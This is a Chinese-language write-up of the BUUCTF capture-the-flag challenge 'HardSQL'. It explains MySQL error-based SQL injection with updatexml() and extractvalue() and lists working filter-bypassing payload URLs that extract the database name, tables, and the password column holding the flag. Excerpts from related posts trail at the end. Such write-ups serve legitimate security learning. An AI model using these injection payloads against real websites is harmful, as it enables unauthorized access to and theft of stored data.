極客大挑戰 2019 HardSQL

2021-10-20 01:25:50 字數 2896 閱讀 7688

目錄

[極客大挑戰 2019]hardsql

解題過程

updataxml報錯注入

extractvalue報錯注入

題目:buu平台上的,題目鏈結

可以採用報錯注入,可以使用updataxml或者extractvalue進行報錯注入。

首先引用關於updatexml函式的解析,相關鏈結附在結尾

首先了解下updatexml()函式updatexml (xml_document, xpath_string, new_value);第乙個引數:xml_document是string格式,為xml文件物件的名稱,文中為doc

第二個引數:xpath_string (xpath格式的字串) ,如果不了解xpath語法,可以在網上查詢教程。

第三個引數:new_value,string格式,替換查詢到的符合條件的資料

作用:改變文件中符合條件的節點的值

改變xml_document中符合xpath_string的值

而我們的注入語句為:

updatexml(1,concat(0x7e,(select@@version),0x7e),1)

其中的concat()函式是將其連成乙個字串,因此不會符合xpath_string的格式,從而出現格式錯誤,爆出

error 1105 (hy000): xpath syntax error:':root@localhost'

因為updatexml需要xpath格式的字串,但是以~開頭的字串不符合,所以會報錯,同時會將括號內的執行結果以錯誤的形式爆出。這就可以實現報錯注入。

查詢版本

查詢資料庫名稱

check.php?username=admin'^(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1
查詢表名

check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1
查詢字段

查詢資料

只出來了左邊一部分,現在查右邊一部分

check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(h4rdsq1)),0x7e),1))%23&password=1
拼接起來flag

函式解釋:

extractvalue():從目標xml中返回包含所查詢值的字串。

extractvalue (xml_document, xpath_string);

第乙個引數:xml_document是string格式,為xml文件物件的名稱,文中為doc

第二個引數:xpath_string (xpath格式的字串)

concat:返回結果為連線引數產生的字串。

類似於updatexml()報錯,第二個引數要是xpath格式的字串,我們拼接乙個0x7e(~),不符合該格式,自然會報錯,根據報錯執行的結果進行查詢。

下面舉乙個例子

check.php?username=admin'^extractvalue(1,concat(0x7e,database()))%23&password=1
類似於updatexml()函式,不過這個函式是兩個引數,注意這一點。其餘類似。

1.sql注入——報錯注入原理

2.updatexml()函式報錯原理解析

3.學習基於extractvalue()和updatexml()的報錯注入

極客大挑戰 2019 PHP

開啟以後,是三個php原始碼,其中最重要的是class.php,如下 include flag.php error reporting 0 class name function wakeup function destruct if this username admin else 看了一下,這個...

極客大挑戰 2019 HardSQL wp

有過濾,抓個包fuzz一下 等號,空格等被過濾 發現可以用報錯注入,空格可以用括號代替 查表名username admin or extractvalue 1,concat 0x7e,select group concat column name from information schema.co...

極客大挑戰 2019 PHP

剛進入 我們可以看到這樣的乙個介面 根據內容提示,有備份 的習慣 日常後台掃瞄,發現有www.zip檔案,我們進行解壓得到 看到flag.php開啟檢視,發現沒有什麼有用的資訊。我們開啟index.php看看 我們可以看到通過get方式傳入引數select,並對引數select進行反序列化。接下來,...